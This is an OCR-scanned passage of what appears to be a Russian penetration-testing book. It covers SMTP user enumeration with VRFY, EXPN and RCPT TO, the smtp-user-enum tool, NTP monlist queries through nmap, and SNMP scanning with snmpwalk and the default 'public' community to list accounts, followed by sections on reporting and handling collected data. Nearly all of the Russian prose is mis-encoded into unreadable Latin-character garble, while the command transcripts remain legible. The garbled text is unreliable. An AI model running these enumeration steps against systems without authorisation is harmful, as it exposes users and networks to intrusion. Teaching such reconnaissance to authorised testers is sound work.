MOJKET TTPOBEPUTH CITUCOK COOPAHHBIX MMOYTOBBIX aJ[PECOB WU JIaske MOA06paTh Ux
B aBTOMaTUYECKOM PEKUME.

B nporokosie SMTP (Simple Mail Transfer Protocol) komanma VRFY (Verify) uc-
MOJIb3YETCsI JIJIs1 TIPOBEPKHU CYIECTBOBAHUS OTIPE/IEJIEHHOTO TIOUTOBOTO SIIIMKA Ha
SMTP-cepsepe. Koria kimeHT oTmpassieT kKomauy VRFY ¢ apryMeHTOM, TIPe/ICTaB-
JISTIOTIIAM cOOO0M UMSI TI0JIB30BATEIST UJTH a[[PEC DJIEKTPOHHOI MOYTHI, CEPBEP OTBEYAET,
CYIIECTBYET JIM YKA3aHHbBII TIOUTOBBIN SIUK. ECM MOYTOBBIN SAMINK CYIIECTBYET,
cepBep Bo3BpalaeT ko oreeta 250 u oJIHOe UMsI TOYTOBOTO SIIIUKA.
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Hampuwmep, komanza VRFY user@example.com IIpUBEET K TPOBEPKE, CYIIECTBYET JIN
MTOYTOBBIN SITUK user@example.com Ha cepBepe:

itsecbook@kali:~# telnet mx.ibox.lv 25
Trying 194.152.31.73...

Connected to mx1.inbox.1lv.

Escape character is '~]'.

220 timmy2-1lv.inbox.lv ESMTP

VRFY root

502 5.5.1 VRFY command is disabled

quit

221 2.0.0 Bye

Connection closed by foreign host.

itsecbook@kali:~# telnet mx.adb.com 25
Trying 216.46.24.12...

Connected to mx.adb.com.

Escape character is '~]'.

220 timmy2-1v.inbox.lv ESMTP

VRFY root

250 2.1.5 root <root@ mx.adb.com>
VRFY anderson

550 5.1.1 anderson... User unknown
quit

221 2.0.0 Bye

Connection closed by foreign host.

B TIEPBOM CJiy4dae Mbl BUJJUM OTBET CEPBEPA, Ha KOTOPOM OTKJIIOYE€HA BO3SMOJKHOCTDH
ITPOBEPKU HO]H)SOBaTe.TIefI, BO BTOPOM JK€ a/IMUHUCTPATOPhbI HE 1103a060TUIINCH O TOH-
KOﬁIﬁKTpOﬁKeHOQTOBOFOCGPBHC&

Komanma EXPN (Expand) ucnonbsyercst s monyuernst nHGOPMALUN O IOYTOBON
paccouike. [To cyTn, oHa 3armpanmBaeT 1 MoJyJYaeT CIIMCOK BCEX a/[PecaToB YKa3aHHOM
PaCCHLITKH.

Hampumep, eciin y Bac ecTh pacchlika moji HazBaHuem «staff», To nmpu ornpaske
KoMaH/Ibl EXPN staff na SMTP-cepBep oH BepHET CIIUCOK BCEX a/IPECOB AIEKTPOH-
HOM TIOYTBI, KOTOPbBIEC TTOJIYIalOT 9Ty PACCBLIKY. B JTaHHOM TIpUMEPE MblI BUINM, KaK
cepBep BO3BpalllaeT CIIMCOK BCEX a/[PECOB, KOTOPbIE COAEPKATCS B CIIUCKE PACCHLIKN

«bob»:

itsecbook@kali:~# telnet mx.inbox.lv 25
Trying 10.34.15.1...

Connected to 10.34.15.1.

Escape character is '~]'.

220 myhost ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 myhost Hello [10.34.15.5], pleased to meet you
EXPN bob

250 Super-User bob@myorg.net
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250 Mike Storm <mikestorm@myorg.net>
EXPN alice
550 alice... User unknown

ITox6op nosbsosareleii ¢ ucnosbzosannem RCPT-TO:

itsecbook@kali:~# telnet mx.soole.com 25
220 serverl ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 serverl Hello [10.0.0.72], pleased to meet you
MAIL FROM:smith

250 smith... Sender ok

RCPT TO:mike

250 mike... Recipient ok

RCPT TO: robert

550 robert... User unknown

EcTb eme ofuH 3acayKUBAOIUI BHUMAHKS CIOCO0 MOIyYUTh O0bIe mH(popMa-
uu 06 agpecare. Cepsuc WhoReadMe 11o3BosisieT onpeaeinTb TUIT OIIePalluOHHON
cucreMbl, Opaysepa, yCcTaHOBJAEHHbIE KOMIIOHEHTHI ActiveX n maxe nmpuMepHoe
MECTOIOJIOKEHHE apecaTa.

B Kali Linux ecTb mHTEpECHAS YTUINTA, TIO3BOJILIONIAS aBTOMATU3UPOBATD JAHHbII
Ipolece, 10 yMOJIYaHuIO OHA He yCTaHOBJICHA, HO HAXOAUTCA B PEIIO3UTOPUAX U aK-
TUBHO HojiepkuBaeTcs. i ee ycTaHOBKY BbIIIOJIHUM KOMaH/Y:

itsecbook@kali:~# apt install smtp-user-enum

Yrunmra smtp-user-enum MOKeT MCIOTb30BAThCS IS Hepe6opa moJib30BaTeei
C IIOMOII[bIO0 KOMaH/IbI VRFY. B kauectse IapaMeTpa JJisd OIIpeie/IEHNs CYIIECTBYIOINX
AKKayHTOB OHA IIPUHUMAET CITUCOK IMMOTEHITNATbHBIX UMEH ToJib3oBaTesieit. [Ipusenem
IIpUMEDP €€ UCIIOIb30BAHUSI:

itsecbook@kali:~# smtp-user-enum -M VRFY -U usernames.txt -t target.smtp.
server

MbI UCTIO/Tb30BAY CJIeyTOTIIE TAaPAMETPBI:
® -M VRFY — metoz (B anHoM ciaydae VREY);

® -U usernames.txt — ¢ailsT co CMICKOM UMEH TTOJIh30BaTeNIeH;

® -t target.smtp.server — nenesoit SMTP-cepsep.

[NonyyeHne nHgopmaumm ot NTP-cepsepa

JlokanbHbie NTP-cepBepbl 04eHb 4acTo, 0COOEHHO B KPYITHBIX OPTaHU3AIUSX, UC-
10JIb3YIOTCS /LI CUHXPOHU3ALMU BpeMeHH CepBepOB U KOMIILIOTEPOB B JIOKA/IbHON
ceTu.
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[Tpu momorit NM AP MoskHO He TOTBKO y3HATh TOYHOE BPEMsI, HO U TTOJIyYNTh CITUCOK
nocsiefHux 600 X0CTOB, KOTOPbIE CHHXPOHU3UPOBAJIN BPEMS C 3TUM CEPBEPOM. JTO
MOZKET OBITh OYeHb I10JIE3HO, €CJIU BBI €llle He 3HAeTe BCell CTPYKTYPbI CEeTH, TaK KakK
NTP-cepsep 06bIYHO OCTYTIEH € JI0GOTO XOCTA JIOOON MOACETH.

B coBpeMenHbIX peann3arusix ata hyHKIN 10 yMOTIaHuTo oTKIio9eHa. OHa GbiBaeT
JIOCTYIIHA TOJIbKO B TOM CJIy4ae, KOT/la a/IMUHUCTPATOPLI CIIeIIMaIbHO BKJIIOYAIOT ee
C 1EJIBIO OTJIAJIKN Wi MOHUTOpUHTA. Ho BbI MOXKeTe BCTPETUTD ycTapeBIue Bepcun
NTP-cepBepos, 10 cux 1op yA3BUMbIe K JAaHHOMY THUITY aTaKH.

OcymiecTBUM TIOUCK U 9KCILTYATAIUIO JaHHOHN YSI3BUMOCTH € UCIMOJTb30BAHUEM
ckpuntoB Nmap:

itsecbook@kali:~# nmap -sU -pU:123 -Pn -n --script=ntp-monlist 192.168.91.32

PORT STATE SERVICE REASON
123/udp open ntp udp-response
| ntp-monlist:

| Target is synchronised with 34.127.56.0 (reference clock)
| Alternative Target Interfaces:

| 10.0.4.20

|  Private Servers (0)

|  Public Servers (@)

|  Private Peers (0)

|  Public Peers (0)

|  Private Clients (2)
I

|

I

I

|

I

I_

10.0.8.35 169.254.138.55
Public Clients (12)
192.168.91.1 192.168.91.2 192.168.91.3 192.168.91.4

Other Associations (1)
127.0.0.1 seen 1853569 times. last tx was unicast v2 mode 7

[ony4eHne nHdopmaumm ¢ ncnonb3osaHnem SNMP

SNMP (Simple Network Management Protocol) — mpotokost, ucmosibyembiii st
VIIPaBJIEHUS CETEeBBIMU yCTpolicTBaMu. JJaHHBIN MPOTOKOJ MOAEPKUBAIOT TaKue
yCTpoiicTBa, Kak poyTepbl, CBUYH, paboune craHiuu u T. 1. Cam cepBuc paboTaer
MIPU HAJIMYUM JIBYX OCHOBHBIX KOMITOHEHTOB: SNMP-arenTa, KoTOpbIil HaX0UTCS
Ha BejloMoM ycTpoiictBe, u SNMP-cepBepa, KOTOPBI OCYIIECTBIISIET YIIPABJIEHIE
BE/IOMBIM YCTPOVCTBOM.

[Ipotoxkosr SNMP nipepycmaTpuBaet iBa ypOBHS OCTYTIA: TIEPBBINA MTO3BOJIIET CUN-
tarb nHMOpManuio 06 ycrpoiictse (read community string), a BTOpoil — U3MEHUTh
KOH(UTYpaLIo BeZIOMOTro ycrpoiicTsa (read /write community string). Heobxoaumo
OTMETHTD, 4TO TI0 YMOJTYAHUIO MOKHO cuuTaTh read community string 6e3 napoJis,
a 11 read /write community string MHOTHe afMIHUCTPATOPbI OCTABJISIOT CTAHAAPT-
HBII APOJIb, IPEYCMOTPEHHBII TEM UJIM HHBIM PazpaboTInKOM.
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YoM Hy TN TpOTOKOM paboTtaer Ha ocHoBe UDP, mmeer cmabyio cucremy ay-
TeHTHGUKAIMY U He 06J1a/1aeT YCTOHYMBOCTBIO K criyunry. /laHHbIe epefaoTes
6e3 mudpoBanust 1 MOTYT ObITh mepexBadeHbl. O0braHO SNMP ucomb3yoT 171
MOHHWTOPWHTA MTapaMeTPOB Pa3JINUHBIX YCTPOHCTB, HO Ha B3TJsA/ aBTOpa, SNMP
npe/IcTaBysieT GOJIBIINYIO YIPo3y /st 6e30IIacCHOCTH OPTaHU3AIIUIA.

Cy1ecTByeT 1eJibIi Pecypc, MOCBSIIEHHBI CTAHAAPTHBIM TTAPOJISIM PA3JINIHBIX 110~
CTaBIUKOB 000PYIOBAHISI 1 IIPOrPaMMHOI0 obectiedenist, — www.defaultpasswords.com.

MIB

MIB (Management Information Base) B konrekcte SNMP — 910 nepapxuyeckas
CTPYKTYPA, UCIIOJIb3yeMasl [IJIsl Opranudanuu u ugentudukanun nadopmanuu, Ko-
Topyto SNMP Mo:keT moy4aTh OT yCTPOHCTB B CETH.

Wepapxus usobpakaercsa B Buze «aepesa MIB». Kopenb nepesa mpeacTaBiser co-
60it «<MIPOBOE COOOIIECTBO>, OT HETO OTXOJAT JIBe OCHOBHBIE BeTBU: [SO 1 private.
Bersb private Briodaet B cebst mHMDOPMAIINIO, CIIEIMMUIHYIO JJI OTIPEETECHHOTO
pou3BoauTENS Mian yerpoiictBa. Kaskbiit y3en B iepese MIB umeeT yHuKaabHbIi
unenTrduratop obbvekra (OID), KOTOPHIT TpecTaBIsSeT COOOU MOCTIEI0BATEb-
HOCTb YHCeI, pa3fieJieHHbIX TouKaMu (puc. 4.7). OID ucnosbayeTcs 17151 yHUKaIbHOM
uneHTuduUKaIMM Kax;aoro ajgementa nngopmanuu B MIB.

Root

ccitt(0) ./ \. joint-iso-ccitt(3)

iso (1)

|
org (3)

dod (6)

internet (1) <-1.3.6

directory (1) @

mgmt (2) ./ private\(\i)\\\

experimental (3)

enterprise (1)
dpsinc (2682)

/

dpsAlarmControl (1) <-1.3.6.1.4.1.2682.1

Puc. 4.7. lNpumep aepesa MIB

Baxxno ormetuts, uto Bca mHpopmaiud, xpandmasics B MIB, sasiusercs cratu-
CTHYECKON M MOKET ObITh MCIIOJb30BaHA I MOHUTOPMHIA CETEBBIX YCTPOIICTB
U YIIPaBJIEHUS UMU.

CymectByeT MHOKecTBO TapaMeTpoB SNMP, koTopbie MOKeT 3a1poCcuTh T0JIb30Ba-
TeJIb, IPUBEJIEM HEKOTOPHIE U3 HUX.
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® 1.3.6.1.2.1.25.4.2.1.2 — 3anynieHHble IIPOrPaMMBbI;
® 1.3.6.1.2.1.6.13.1.3 — TCP-noprsy;

® 1.3.6.1.2.1.25.6.3.1.2 — ycranosiennoe [10;

® 1.3.6.1.2.1.25.2.3.1.4 — XpaHNJINIIA JaHHBIX.
Monck SNMP

[l momyyenns crimcka nojzepskuBaoux mpotokosa SNMP xocToB Bociosb3yemcst
nmap:

itsecbook@kali:~# nmap -sU -p 161 192.168.1.0-254
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-02 10:13 EDT

Nmap scan report for 192.168.1.160 [host down]

Nmap scan report for 192.168.1.161 [host down]

Nmap scan report for 192.168.1.163 [host down]
Initiating SYN Stealth Scan at 10:14

Scanning 76 hosts [1 port/host]

Completed SYN Stealth Scan at 10:14, 0.48s elapsed (76 total ports)
Nmap scan report for znl4591.mycorp.org (192.168.1.19)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp closed snmp

MAC Address: D4:85:64:B8:06:B6 (Hewlett Packard)

Nmap scan report for 192.168.1.23

Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp filtered snmp

MAC Address: 3C:07:54:28:A7:D5 (Apple)

Nmap scan report for b-m@l-6.mycorp.org (192.168.1.32)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp closed snmp

MAC Address: ©0:1D:70:FA:3B:3E (Cisco Systems)

Nmap scan report for b-m@l-1.mycorp.org (192.168.1.34)
Host is up (0.00s latency).

PORT STATE SERVICE

161/tcp closed snmp

MAC Address: ©0:1D:70:FA:39:EQ (Cisco Systems)

Nmap scan report for b-m@l-3.mycorp.org (192.168.1.35)
Host is up (©.00s latency).

PORT STATE SERVICE

161/tcp open  snmp

MAC Address: ©0:1D:70:FA:3A:72 (Cisco Systems)

Nmap scan report for znl6555.mycorp.org (192.168.1.201)
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Host is up (0.00s latency).

PORT STATE SERVICE

161/tcp filtered snmp

MAC Address: E4:11:5B:58:03:F2 (Hewlett Packard)

Nmap scan report for znl8405.mycorp.org (192.168.1.205)
Host is up (0.00s latency).

PORT STATE SERVICE

161/tcp filtered snmp

MAC Address: 90:B1:1C:81:9B:AB (Dell)

Nmap scan report for 192.168.1.206
Host is up (0.00s latency).
PORT STATE SERVICE

161/tcp open snmp
MAC Address: C@:56:E3:A0:01:DF (Hangzhou Hikvision Digital Technology)

[lasee MBI pacCMOTPUM HECKOJIBKO MHTEPECHBIX TTPUMEPOB TOTO, KaK MOJYIUTh NH-
(opmarnuio o 1esieBoii cucreme, ucosbayst SNMP.

C6op AaHHbIX

C nomoripio yrunusl snmpwalk, koropast paboraer kak mox OC Linux, Tak u 1oz
OC Windows, MOKHO 1160 TI0IyYUTh BCIO HHGOPMAIIMIO O CUCTEME, JTUOO0 IIPOCMO-
TPETD €€ YacTh.

[Tosryuyum Bclo gocTyinyio undopmanuio:

itsecbook@kali:~# snmpwalk -v2c -c public localhost

SNMPv2-MIB: :sysDescr.® = STRING: Linux localhost.localdomain 2.6.32-122.el6.
x86_64 #1 SMP Thy May 2 10:20:34 EST 2023 x86_64

SNMPv2-MIB: :sysObjectID.® = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB: :sysUpTimeInstance = Timeticks: (99554) ©:16:35.54
SNMPv2-MIB: :sysContact.® = STRING: Root <root@localhost> (configure /etc/snmp/
snmp.local.conf)

SNMPv2-MIB::sysName.® = STRING: localhost.localdomain

SNMPv2-MIB: :sysLocation.® = STRING: Unknown (edit /etc/snmp/snmpd.conf)

B nannom cirydae Mbl 3a1IPOCHUITH BCIO JIOCTYITHYIO MH(MOPMAIIHIO O 1IeJIEBOI MaIlIHe.
B mapamerpax ykaszan gomen public u Bepcust mpotokosa — 2.

Tenepb IIOJIYYUM CITMCOK OJIb30BaTeIell OJTHOTO U3 paHee HalJIEHHBIX XOCTOB:

itsecbook@kali:~# snmpwalk -c public 192.168.1.201 .1.3.6.1.4.1.77.1.2.25

enterprises.77.1.2.25.1.1.101.115.115 = "JACK"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "SOLIE"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "IVASHCEK"
enterprises.77.1.2.25.1.1.114.97.116.111.114 = "Administrator"
enterprises.77.1.2.25.1.1.116.85.115.101.114 = "TsInternetUser"
enterprises.77.1.2.25.1.1.118.105.99.101.115 = "NetShowServices"



OT1yeTbl

Yy aBTOpa 6bIJII/I COMHEHHNA OTHOCUTEJIbHO MeCTa padMellleHnuA 9TOU IJIaBbl B KHUTE.
C oz1HOIT CTOPOHBI, TIOKA y HAC ellle HET TOJTHOM MH(POPMAITIH, MBI TOYHO HE 3HAEM, YTO
BKJIIOYMIM B OTHET 11 KaK OH 6y[[eT BBITJIA/IECTD, C I[perﬁ CTOPOHDI, €CJIN HE CTPYKTYPU-
POBAThb N HE COXPAHATDH JaHHbIC C CaMOTO Havajia pa6OTbI, TO ITOTOM TIPEJICTAaBUTH NX
Gyzet ropaszo cioxkaee. HecMoTpst Ha T0 4TO 0T4eT — (hMHATIBHBI TIar Barieil paboThl,
JlyMath 0 HeM HEOOXO/MMO € CAMOTO HAYaJIa; TI09TOMY IJIaBa pasMelleHa He B KOHIIE
xuuru. Kak ckasan OJUH HaIll KoJlJiera, «HaM IIJIaTAT He 3a B3JIOM, a 3a OTYETHOCTDL».

MHorre BOCIPUHUMAIOT OTYETDHI KaK HEM3OEKHOe 310 TECTUPOBAHUST HA TIPOHUK-
HoBenwe. OIHAKO, KaK HU MPUCKOPOHO 9TO OTMEYATh, TIPH YCJIOBUH HATUYUS XOPO-
IIET0 ¥ PA3BEPHYTOrO OTYETA TIJIOXO BBITIOJHEHHBIN TECT OY/ET OIlCHEH BBITIE, YeM
C TEXHUYECKON TOYKHU 3PEHUst Oe3YIPEYHO BBINOJHEHHbIH TECT, HO C COBEPIIEHHO
HEIPe/ICTaBUTEeIbHBIM OTYETOM.

YV y4eHbIX €CTh TaKOe MOHATHE, Kak JadopaTOpHBIH xypHas. OObIYHO TIepejt TPoBe-
JIeHVeM 9KCTIePUMEHTA B HETO 3aIMChIBAETCS TIPEJIITOJIaraeMblil T1J1aH, a P JJaTbHeli-
1IIeM ero MPOBEIEHUY B JKyPHAJIe PETUCTPUPYIOTCS BCe JIEHCTBUST, KOTOPbIE TIPOBOIUT
HCCJIeNI0BATENTh, IPOMEKYTOYHBIE I KOHEUHbBIE PE3YJIbTAThI, & TAKKE JOMOJTHUTETHHAS
uH(OpMAIHSL. ITO IEJTAETCS JJISI TOTO, YTOOBI BIIOCIIEACTBUI MOKHO ObLIIO TIPOBEPUTD
XOJI HKCIIEPUMEHTa U BOCITPOU3BECTH TIOJYUCHHBIN Pe3yJIbrar; 6€3 BO3MOKHOCTH
BOCIIPOU3BEICHS OKCIIEPUMEHT He OyIeT CUUTAThCS yIauHbIM. Bee 310 B TOuHOCTH
OTHOCUTCS U K TeCTaM Ha TPOHNKHOBEHME.

HeoGx011Mo 3aiChIBATH KAsKIbIH AT C CAMOTO HAYaJla, JIeIaTh CHUMKHI 9KPaHa, CO-
XPaHSTh MAPAMETPBI 3aITyCKa YTHJIUT U PE3YJIBTAT X PAOOTHI, 3aITPOCHI K TIOUCKOBBIM
cucTeMaMm, a MHOT/[a Iaske (PIKCHPOBaTh MMPOUCXO/IsIIee Ha dKpaHe. Bee 3To Mo3BoIuT
BaM TIOJITOTOBUTH TPAMOTHBII OTYET, & TAKJKE TP HEOOXOAUMOCTH TIOBTOPHTH TPOU3-
BeJleHHbIe ielicTBuA. Ellle 0711 MOBOJL 3a1IMCbIBATh BCE CBOU JIEHCTBUS — CO3/IaHNE
epCcOHANIbHON 6asbl JaHHbIX. MHOTHE ClelUaMucThl B chepe nHPOPMAITMOHHbIX
TEXHOJIOTHI B TOM HJIF MTHOM BHJIE BEYT CBOIO Oa3y, B KOTOPYIO 3aIUCHIBAIOT [TapaMe-
TPBI 3aITyCKa YTUJINT, BAPUAHTHI 3aITPOCOB, YAAUHbIE BEKTOPHI aTak 1 MHOTOE JIPYTOe.
Taxwe 6asbl 3HAHWUH TIO3BOJISIIOT TIPOBOAUTD MOCJIEAYOIIIE TECThI HA IIPOHUKHOBEHUE
HAMHOTO GBICTPEE TIPEABITYTIHX.

bBoiBaeT 1 Tak, 4TO He Bbl OJIMH OCYIIECTBJIsIETE MIPOHUKHOBeHME. Bbl 3aK0OHOIIO-
CJIYIITHBIN TPaKIAHUH U MIBITAETECHh B3JIOMATh CUCTEMY C PA3pEIICHUS ee BIIaIebIa,
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OJTHAKO BEPOSITHO, UTO B ATOT MOMEHT 3JIOYMBITIIJIEHHUK TaK’Ke MbITAETCS TPOHUKHYTh
B CHCTEMY, KOTOPYIO BbI HccJiejtyere. B pesyiibrate HellpaBOMEPHBIX JeHCTBUH 1IPO-
HCXOJIUT TIOTEPst IAHHBIX, YTO BJIEYET 3a cO00i GoIIbIe yOBITKHU ISt TPE/TPUATHS.
B aToMm ciryyae sKypHAT MOJKET CTaTh OJIHAM U3 JIOKA3ATETbCTB Balllell HeTPUYaCTHOCTH
K 3TOMY HHIIU/EHTY, BE/lb BbI [a’Ke He YCIen J00pPaThCst 10 B3JIOMAHHOTO CepBepa.

MpobnemMa neperpy>eHHocT1 MHdopMaLmen

IIpesk/ie ueM MPUCTYIUTD K PACCKA3y O PA3IUUHBIX CIIOCO0AX XPaHEHUS U 00pabOTKY
MAHHBIX, XOTETOCH GBI YITOMSTHYTh 06 OIIHO#T TIPoGIIeMe, ¢ KOTOPO#T BBl HEM30EKHO CTOJK-
HeTeCh B Mpotiecce 00YUYEHVs 1 TIPOBEIEHHSI TECTOB, — 3TO GOJIBIION 06BEM JAHHbIX.

CoBpeMeHHbIIT YeJIOBEK UCIIBITBIBAET MTPOOJIEMY HEPErPYKEHHOCTH HH(bOpMaIneil
13-3a GBICTPOTO PA3BUTHS TEXHOJIOTHUIT U IOCTYTHOCTH HH(OPMAIIMOHHBIX HCTOYHH-
KOB. CeTo/IHST MBI IM€EM JIOCTYIT K OTPOMHOMY KOJTMUECTBY JTAHHBIX, €KETHEBHO TT0-
CTYMAIOIINX U3 COMUATBHBIX CETEH, HOBOCTHBIX TIOPTAIOB, TPUIOKEHNH MOOUTBHBIX
YCTPOICTB, 3JIEKTPOHHON TOUTHI 1 T. 1. YeoBeK He MoskeT 06paboTaTh 1 3alIOMHUTH
BECh ATOT 06BEM. DTO CTAHOBUTCS TIPUYMHON TIPOGIIEM ¢ KOHIIEHTPAIIUEH, TTAMSITHIO
U IPUHATHEM PElIeHUI.

Kpome toro, us6uitok nHMGOpMaILMK MOKET IPUBECTH K TI0TEPE BPEMEHU U CHIKE-
HIIO IPOAYKTUBHOCTH. BMECTO TOro 4T0ObI COCPEOTOYUTHCS HA BHITIOJHEHIH 3a/1a4,
MbI TPATHM BPeMsI Ha YTEHME DJIEKTPOHHBIX IIHCEM, IPOCMOTD BHUIE0, HOBOCTEN UK
JIEHTBI COLMAIbHBIX CETell, YTO Hen30eKHO IPUBOAUT K IPOKPACTUHALIUU 1 YMEHb-
eHunio 9 GEKTUBHOCTH PabOThI.

[TeperpyskenHOCTH MHpOPMAIINE TAKIKE MOKET CTATh TPUUYMHON COIUABHBIX TTPO-
6J1eM, BbI3BAHHBIX MH(MOPMAIMOHHBIM IIEPEHACHIIEHEM U UCKaKeHeM (DaKTOB.
Jlo/in HAUMHATOT 1OJIATAThCST HA HETTPOBEPEHHbBIE UCTOYHUKY U, KaK CJIEe/ICTBUE,
PacIpoCTpaHsaATh JOKHYIO nHpopmaluio, heiikoBbie HOBOCTU U HEBEPHbBIE TIPEJI-
CTaBJIEHUS O MUDE.

[TocTOSTHHBIH TTPOCMOTP JIEHTBI COIMATLHBIX CeTel BLIPAGATHIBAET B HAC TIPUBBIUKY
K OBICTPOMY ¥ TOBEPXHOCTHOMY MOTpebernio wHhopMaruu. Hait MO3T BBIHY KAEH
o6pabarbiBaTh HOJIBINOE KOJUUECTBO N300paskeHUH, BUEO U TEKCTA 32 KOPOTKOE
BpeMs, He OCTaBJIsIs BPEMEHN Ha aHAJIN3 1 OCMBICTICHUE.

Bce 910 IpHBOANT K CHIDKEHIO KadecTBa 00paboTkn faHubix. Koraa Mbl moTpediisiem
nHbOPMAIIIO GBICTPO U TOBEPXHOCTHO, MBI HE CIIOCOOHBI IOJHOCTBIO yCBANBATH €€
collepsKanue u OT/IeJISITh TIABHOE OT BTOPOCTENEHHOTO. ITO BBIIMBAETCS B OIMTHO0U-
HOe MOHUMAHUe U BOCIIPHSITIE TIPOUCXOSIINX COOBITHI 1 MUPA B IIEIOM, YTO, B CBOIO
OYepesb, MOKET TIPUBECTH K TIPHHSITUIO HETTPABUIBHBIX PETEHUH MIIN BHIPAOOTKE
JIOSKHBIX CY/KJICHUI.

Yekopennoe norpeberne nHGOPMAIK U TIEPEKTIOYeHe BHUMAHS HA PA3INYHbIe
HCTOYHUKH TTOPOKIAET TIPOOJIEMBI € TAMSITHIO U KOHIleHTpalreil. Koraa Het Bpeme-
HU Ha 00paboOTKy MHMOPMAIINK, MBI He CIIOCOOHBI 3aATOMHUTH €€ U UCIOJIb30BaTh
B Oy Ly1iem.
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ITO TaKKe MOKET BBI3BATH CJIOKHOCTH C KOMMYHUKAITUEH U MEKITMUHOCTHBIMH OT-
HOIIECHUSIMU: JIETKO YIIYCTUTH Ba)KHbIE MOMEHTBI, HE TIOHATH CMBICJIOBBIX HIOAHCOB
U HEMPABUJIBHO MHTEPIIPETUPOBATH COOOIIIEHUSI.

Yrobbl m36€KaTh YKA3AHHBIX TPOGIEM, HEOOXOINMO Pa3BUBATH HABBIKM YIPABJICHUST
nHpopMaImeii, a Takke HaBbIKU KPUTHUECKOTO MBITILIEHUS.

PaboTa ¢ AaHHbIMA, BU3Yya/TIN3aLUA

MpI yrke paccMOTpesn MHOKECTBO CTIOCO6G0B cHOpa JAHHBIX U3 PASTUIHBIX HC-
TOYHUKOB, 1 MOXKET TIOKA3aThCs, YTO MOpa MePexXo/IuTh K AAJIbHEHIINM AeHCTBUSAM.
B caMbIX TPOCTBIX CIIydasix 3TO IeHCTBUTEIBHO TaK, HO Yallle BCEro PACCMOTPEHHOTO
B IIpe/IbILYIINX TJIaBaX OKa3blBaeTcs Hepoctatouno. Ha camoM zeste, ecan peub uer
o0 6oJtee-MeHee KPYIMHON MH(MOPMAIIMOHHON CHCTEME, MBI TTOJTYIaeM CTOJIBKO JAHHBIX,
410 6€3 UX KATErOPU3AIUY U [TPABUJIBHOTO CTPYKTYPUPOBAHUS OBIBAET OUEHD CIIOKHO
HAUTH CBA3U MEXKY PA3INIHBIMU JAHHBIMU U GOJIBIIAS YaCTh MHMDOPMAIINH OKA3bI-
BaeTcst 6eCIONE3HON, UTO CHUYKAET KauecTBO PaBGOThl M MOKET CKPBITh OT HAIIETO
B30pa YTO-TO e iCTBUTENLHO BaxKHOE.

Bce nannbie, KoTOpbie MbI COOMPAIN 0 CUX HOP, TPEACTABIIN cO60H 0OPBIBKH
HECBSI3aHHOW MH(MOPMAIIUU: CITUCOK 3JIEKTPOHHBIX JIPECOB, UMEHA MOJIb30BaTEICH,
HCTIOJIb3Y€EMbIE IOMEHBI U T. JI.

Cucremarusupysi coOpaHHbIe paHee JaHHbIE, MBI YK€ MOJyYaeM OIPEeeHHY 0
nHbopmarnmio. Tak, HapuMep, MPoOaHATN3UPOBAB JaHHbBIE, HAal/IeHHbIE HA caliTe
11es1eBOH MH(MOPMAIIMOHHON CUCTEMBbI, Mbl Y3HAJIU UMSI PYKOBOAUTEJS IPEIIPUATHS;
13 METAIAHHBIX HAMIEHHBIX (DANJIOB TIOMYYUIIH A/IPEC 9JIEKTPOHHOM MOYTHI JAHHOTO
YeJI0BeKa; MOCJe aHaIN3a COIUAIBHBIX CeTell BBISICHUIIN, YeM OH YBJIEKAeTCs, U J10-
cranu ero (oro. Takum 06pa3om, 13 HaGOPa JAHHBIX MbI TOJTYYIN HHHOPMAITUIO
00 OIpeIeIEHHOM COTPY/THUKE TIPETPUSITUSL,

Ho u na aTOM BCe He 3aKkaHYMBaAeTC; CJeLYIONUM HIAroM ocIe oydeHus: nHgop-
MallUU ABJISIETCA ee MHTEJIeKTyabHast 06paboTka. [IpenosoKum, Mbl yCTAHOBUIIH,
YTO BCE CEPBEPHI KOMIAHUHU PAdOTAIOT B OTIPe/IeJIeHHON IOMEHHOIT 30He, HalIpUMep
t3.com. /lasee, 06paboTaB MOMyUEHHBIE TAHHBIE, MBI TIOTYYUITN HHHOOPMAIIUIO O CETH
npeanpusaTusa. Mpl y3HaIM, Kakoe porpaMMHoe obecriedeHne B Heil HCIoJIb3yeTcst
U KaKUMU CPEACTBaMHU 3alUThl 00JaaeT mH(OpMaInoHHas cucteMa. Bee 910 sBJIsI-
eTcd yxxe ntdopmarmeit. /1 nHTENIEKTyaJIbHOTO aHAIN3a BbIZIBUTAEM THIIOTE3Y, YTO
OJIVH U3 CEPBEPOB KOMITAHUH SIBJISIETCST JIOBYIIIKO#, U TIPOBOAMM GoJiee TiiyboKoe Hc-
caiefloBanue, 4ToObI TIOATBEPAUTD UK OTIPOBEPIHYTH HaIlle TPEAIIOJIOKEHNE. AHATIN3
noJiydyeHHOH nH(MOPMaIny IIoMoraeT HaM IIPUHATH PellleHue O TOM, JAeHCTBUTEIbHO
JIVL CEPBEP SIBJISIETCSI JIOBYIIKOU MJIK 9TO 00BbIYHASI HH(POPMAIIMOHHAS CHCTEMA, O KO-
TOPOU 3a0bLIN AJAMUHUCTPATOPBI, U MBI MOKEM MPOIOJIKUTH €€ aHAIN3 C IeJIbIO
HCIOJIb30BAaHNA €€ KaK TOUKH /I Ha4aIbHOTO IPOHUKHOBEHNA ?

Kak MbI y:Ke roBOpuJIH, HeoOpabOTaHHbBIE JTAHHBIE CaMU 110 cebe He MPEICTABIISIIOT
HUKAKOH 1ieHHoCTH. TaK, [ocJie oucKa y Bac MOSABIJICS CITUCOK U3 HECKOJIBKUX ThICSIY
CTPOK C aJ[pecamMiu 9JIEKTPOHHOI TIOYTHI, IMEHaMK, HOMepaMu Tesie(pOHOB, TIapoJisi-
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mu u T. 1. Ho Terepp Bce 910 HeOOXO0IMMO OPTaHU30BaTh JMOJKHBIM 00pasom. Ecim
€ CaMOro HayaJia He IIPOAyMaTh, KaK Bbl OyzeTe paboTaTh ¢ HOyYeHHBIMU JAHHBIMM,
TO B KOHI[E KOHIIOB BbI ITPOCTO TIOTEPSIETECH B OTPOMHOM MH(MOPMAITMOHHOM TTOTOKE.

MpbI paccMaTpuBasIu oJie3Hbiil nHCTpyMeHT Maltego. On MoskeT cobupath JaHHbIe
